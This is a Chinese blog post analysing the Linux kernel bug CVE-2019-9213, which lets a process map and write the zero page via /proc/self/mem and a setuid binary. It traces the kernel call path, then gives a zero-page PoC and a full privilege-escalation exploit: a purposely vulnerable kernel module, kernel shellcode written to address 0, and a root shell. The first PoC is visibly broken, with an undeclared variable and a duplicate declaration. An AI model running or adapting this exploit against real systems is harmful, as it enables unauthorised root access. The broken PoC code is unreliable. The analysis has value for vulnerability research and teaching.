CVE-2019-9213 漏洞分析及复现

理论分析、POC、提权

Posted by Yunlongs on July 20, 2021

CVE-2019-9213 漏洞分析及复现

1. 漏洞简介

是一个linux 内核中可以映射用户空间的0地址漏洞,绕过了kernel对用户空间内存映射地址的最低限制mmap_min_addr,可以往用户空间的0地址进行写数据,可配合kernel中的null pointere dereference漏洞来进行提权。

允许的映射最低地址mmap_min_addr可通过cat /proc/sys/vm/mmap_min_addr查看,需要root权限

2. 漏洞点简要分析

expand_downwards函数的作用是将用户空间的vma向低地址扩展指定地址,进行地址扩展前,会使用security_mmap_addr()函数来检查当前进行有没有权限向更低的地址映射,这里可以用su命令进行绕过,因为su命令带有s标志位,执行时会继承root权限。

int expand_downwards(struct vm_area_struct *vma,
				   unsigned long address)
{
	struct mm_struct *mm = vma->vm_mm;
	struct vm_area_struct *prev;
	int error;

	address &= PAGE_MASK;
	error = security_mmap_addr(address);//<------- can be bypass to map 0 address
	if (error)
		return error;

	/* Enforce stack_guard_gap */
	prev = vma->vm_prev;
}
...
static inline int security_mmap_addr(unsigned long addr)
{
	return cap_mmap_addr(addr);
}
...
int cap_mmap_addr(unsigned long addr)
{
	int ret = 0;

	if (addr < dac_mmap_min_addr) {
		ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,
				  SECURITY_CAP_AUDIT);    // <-------使用su命令来绕过
		/* set PF_SUPERPRIV if it turns out we allow the low mmap */
		if (ret == 0)
			current->flags |= PF_SUPERPRIV;
	}
	return ret;
}

3. 漏洞详细分析

3.1 调用链

我们根据漏洞函数expand_downwards,来寻找一条可行的函数调用链,来实际的触发此函数。这里寻找到的一条调用链如下:

3.2 调用链入口分析

linux kernel中对进程的文件操作的接口位于fs/proc/base.c中,里面为每一类进程的操作使用file_operations结构体实现了接口,比如对进程的内存进行操作接口为:

图挂了 其对应的文件为/proc/self/mem文件,对此文件的读、写、寻址等操作均有对应的函数实现。

同理,对于此进程的其他对象,比如环境变量environ,在此文件中均实现有对应的接口。 图挂了

3.2 触发路径理解及分析

static ssize_t mem_write(struct file *file, const char __user *buf,
			 size_t count, loff_t *ppos)
{
	return mem_rw(file, (char __user*)buf, count, ppos, 1);
}

mem_write函数参数理解:

  • file: 要写的文件指针
  • buf: 要写入内核的用户态的内存
  • count: 写入数据的长度
  • ppos: 要写入文件的位置

可以看见,mem_wirte只是mem_rw的一个封装函数。


mem_rw函数首先申请一个新的内核buf,将用户数据拷贝进去,然后调用access_remote_vm函数来访问远程进程对应的地址。

static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{

	page = (char *)__get_free_page(GFP_KERNEL);//<--申请一个新的内核页>
	if (!page)
		return -ENOMEM;

	flags = FOLL_FORCE | (write ? FOLL_WRITE : 0);//<--设置可写flag>

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);

		if (write && copy_from_user(page, buf, this_len)) { //<--将用户buf的数据拷贝到内核页中>
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, flags);//<--访问另一个进程的地址空间,将数据写进对应的地址中去>
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);
	return copied;
}

这里详细说明下,现在进程的情况,什么是远程进程?为什么要去修改远程的进程?

在linux 的/proc目录下记录着每个进程的文件结构信息,每个进程都有一个pid值,可通过echo $PPID查看,如下图中,我的shell的进程id为3367。

而/proc/self目录是自身进程文件目录的软链接,可以通过访问它,来快捷的访问自身进程得到数据结构,如下图所示。

因为每个进程都有对应的进程数据结构目录,我们想要修改mem属性的那个进程,就被称作为远程进程。 所以,在内核中,它需要找到对应进程的文件来进行修改。 图挂了

参考:Linux下/proc目录简介


接下来,这个函数获得当前进程的地址空间信息,来根据要访问的文件地址获得其对应的虚拟内存页面,然后将虚拟内存页面映射到用户可访问的地址中,最后再写入用户buf中的数据。

int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
		unsigned long addr, void *buf, int len, unsigned int gup_flags)
{
	while (len) {
		int bytes, ret, offset;
		void *maddr;
		struct page *page = NULL;

		ret = get_user_pages_remote(tsk, mm, addr, 1,
				gup_flags, &page, &vma, NULL);//<--根据要写的文件addr来获得其对应的虚拟内存页面>
		if (ret <= 0) {
#ifndef CONFIG_HAVE_IOREMAP_PROT
...
#endif
		} else {
			bytes = len;
			offset = addr & (PAGE_SIZE-1);
			if (bytes > PAGE_SIZE-offset)
				bytes = PAGE_SIZE-offset;

			maddr = kmap(page); //<---将获得的虚拟内存页面映射到用户地址中去>
			if (write) {
				copy_to_user_page(vma, page, addr,
						  maddr + offset, buf, bytes);//<---将用户buf写入到映射得到的地址中>
				set_page_dirty_lock(page);
			} else {
				copy_from_user_page(vma, page, addr,
						    buf, maddr + offset, bytes);
			}
			kunmap(page);//<--解除此虚拟内存页面的映射>
			put_page(page);
		}
		len -= bytes;
		buf += bytes;
		addr += bytes;
	}
	up_read(&mm->mmap_sem);

	return buf - old_buf;
}

设置FOLL_REMOTEflag

long get_user_pages_remote(struct task_struct *tsk, struct mm_struct *mm,
		unsigned long start, unsigned long nr_pages,
		unsigned int gup_flags, struct page **pages,
		struct vm_area_struct **vmas, int *locked)
{
	return __get_user_pages_locked(tsk, mm, start, nr_pages, pages, vmas,
				       locked,
				       gup_flags | FOLL_TOUCH | FOLL_REMOTE);
}

调用__get_user_pages函数,直到获得对应的page。

static __always_inline long __get_user_pages_locked(struct task_struct *tsk,
						struct mm_struct *mm,
						unsigned long start,
						unsigned long nr_pages,
						struct page **pages,
						struct vm_area_struct **vmas,
						int *locked,
						unsigned int flags)
{

	pages_done = 0;
	lock_dropped = false;
	for (;;) {
		ret = __get_user_pages(tsk, mm, start, nr_pages, flags, pages,
				       vmas, locked); //<--被调用>
		if (!locked)
			/* VM_FAULT_RETRY couldn't trigger, bypass */
			return ret;
    }
}

在这一步中,start就是之前要写文件对应的addr,遍历当前进程空间中所有的vitual memory area (vma),直到找到一块符合的空间。而vma其实就是内存映射,可通过cat /proc/$pid/maps查看

static long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
		unsigned long start, unsigned long nr_pages,
		unsigned int gup_flags, struct page **pages,
		struct vm_area_struct **vmas, int *nonblocking)
{
	do {
		struct page *page;
		unsigned int foll_flags = gup_flags;
		unsigned int page_increm;

		/* first iteration or cross vma bound */
		if (!vma || start >= vma->vm_end) {
			vma = find_extend_vma(mm, start); //寻找一块addr所对应的虚拟内存块
			if (!vma && in_gate_area(mm, start)) {
				ret = get_gate_page(mm, start & PAGE_MASK,
						gup_flags, &vma,
						pages ? &pages[i] : NULL);
				if (ret)
					goto out;
				ctx.page_mask = 0;
				goto next_page;
			}
        }
	return i ? i : ret;
}

struct vm_area_struct *
find_extend_vma(struct mm_struct *mm, unsigned long addr)// 假设这里传入的addr=0
{ 
	struct vm_area_struct *vma;
	unsigned long start;

	addr &= PAGE_MASK;
	vma = find_vma(mm, addr); //找到一块 addr <= vma->end的空间
	if (!vma)
		return NULL;
	if (vma->vm_start <= addr)
		return vma;
	if (!(vma->vm_flags & VM_GROWSDOWN)) //如果设置了VM_GROWSDOWN,就会向低地址扩展
		return NULL;
	start = vma->vm_start;
	if (expand_stack(vma, addr)) // 向低地址扩展,直到扩展到addr (0)
		return NULL;
	if (vma->vm_flags & VM_LOCKED)
		populate_vma_page_range(vma, addr, start, NULL);
	return vma;
}

最后,来到了我们的漏洞触发点,返回了一块可写的0地址开头的空间。

int expand_stack(struct vm_area_struct *vma, unsigned long address)
{
	return expand_downwards(vma, address);
}

4. 漏洞利用及分析

4.1 漏洞触发思路

此漏洞的调用链很长,但是直到最后漏洞触发点,理解起来并不复杂,主要过程是:

  1. 先将user buf拷贝到kernel buf->
  2. 找到file 偏移对应的内存地址->
  3. 使用su命令特权绕过dac_mmap_min_addr的限制->
  4. 扩展vma到用户指定低地址->
  5. 将kernel buf中数据拷贝到文件对应地址。

这样就实现了对用户空间0地址的数据写入。

4.2 POC

#include <stdio.h>
#include <sys/mman.h>
#include <err.h>
#include <fcntl.h>


int main() {
    //先获得一块此程序进程的允许的最低内存映射,添加MAP_GROWSDOWN FLAG以允许向低地址扩张
    unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|
    PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
    if (addr != 0x10000)
        err(2,"mmap failed");

    //获得一个此进程mem文件的文件指针
    int fd = open("/proc/self/mem",O_RDWR);
    if (fd == -1)
        err(2,"open mem failed");

    unsigned long addr = (unsigned long) map;
    while (addr)
    {
        addr -= 0x1000; // 页面是0x1000对齐的,每次递减,来获得0地址页面

        if (lseek(fd, addr, SEEK_SET) == -1)// 当将此文件的文件指针设置到addr地址
            err(2, "lseek failed");
        
        //调用su命令进行特权绕过,并使用LD_DEBUG生成一些数据进行写入,触发漏洞时,写入文件的addr为0
        sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
        system(cmd);
    }
    //输出当前进程的内存映射,来证明映射到了0地址
    system("head -n1 /proc/$PPID/maps");

    //输出0地址中的内容
    printf("contents:%s\n",(char *)1);
}

运行展示图 其中,运行LD_DEBUG=help su 1命令时,输出的数据为”Valid …..” 而上图中,我们输出的16进制数字,对应的就是”Vali”

4.3 漏洞利用提权

首先自己写一个存在空指针解引用问题的模块

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
 
void (*my_funptr)(void);
static struct proc_dir_entry* proc_entry;

static ssize_t custom_read(struct file* file, char __user* user_buffer, size_t count, loff_t* offset)
{
 my_funptr();  //---->Null pointer Dereference
 return 0;
}

static struct file_operations fops =
{
 .owner = THIS_MODULE,
 .read = custom_read
};

// Custom init and exit methods
static int __init custom_init(void) {
 proc_entry = proc_create("helloworlddriver", 0666, NULL, &fops);
 printk(KERN_INFO "Hello world driver loaded.");
 return 0;
}

static void __exit custom_exit(void) {
 proc_remove(proc_entry);
 printk(KERN_INFO "Goodbye my friend, I shall miss you dearly...");
}

module_init(custom_init);
module_exit(custom_exit); 

然后更新exp,当然这里是把SMEP给关掉的,不然会被拦截:


#include<stdio.h>
#include<sys/mman.h>
#include<err.h>
#include<fcntl.h>
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
/*

   0:   48 31 c0                xor    %rax,%rax
   3:   48 31 ff                xor    %rdi,%rdi
   6:   e8 85 1b 08 81          callq  ffffffff81081b90 <_end+0xffffffff80e81b78>
   b:   48 89 c7                mov    %rax,%rdi
   e:   e8 dd 17 08 81          callq  ffffffff810817f0 <_end+0xffffffff80e817d8>
  13:   c3                      retq

*/
char payload[] = "\x48\x31\xc0\x48\x31\xff\xe8\x85\x1b\x08\x81\x48\x89\xc7\xe8\xdd\x17\x08\x81\xc3";

int main()
{
	void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED,-1,0);
	if (map == MAP_FAILED) err(1, "mmap");
	int fd = open("/proc/self/mem", O_RDWR);
	if (fd == -1) err(1,"open");
	unsigned long addr = (unsigned long)map;
	while(addr != 0){
		addr -= 0x1000;
		if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
		char cmd[1000];
		sprintf(cmd, "LD_DEBUG=help passwd 1>&%d", fd);
		system(cmd);
}
	printf("addr finished: %x!\n",addr);
	system("head -n10 /proc/$PPID/maps");
	printf("data at NULL: 0x%x\n", *(unsigned long*)0);
	
	memcpy(0,payload,sizeof(payload));
	printf("data at NULL:0x%x\n", *(unsigned long*)0);
	fd = open("/proc/helloworlddriver", 0);
	char* buf[20];
	read(fd,buf,20);
	system("/bin/sh");

}

提权效果示意图 图挂了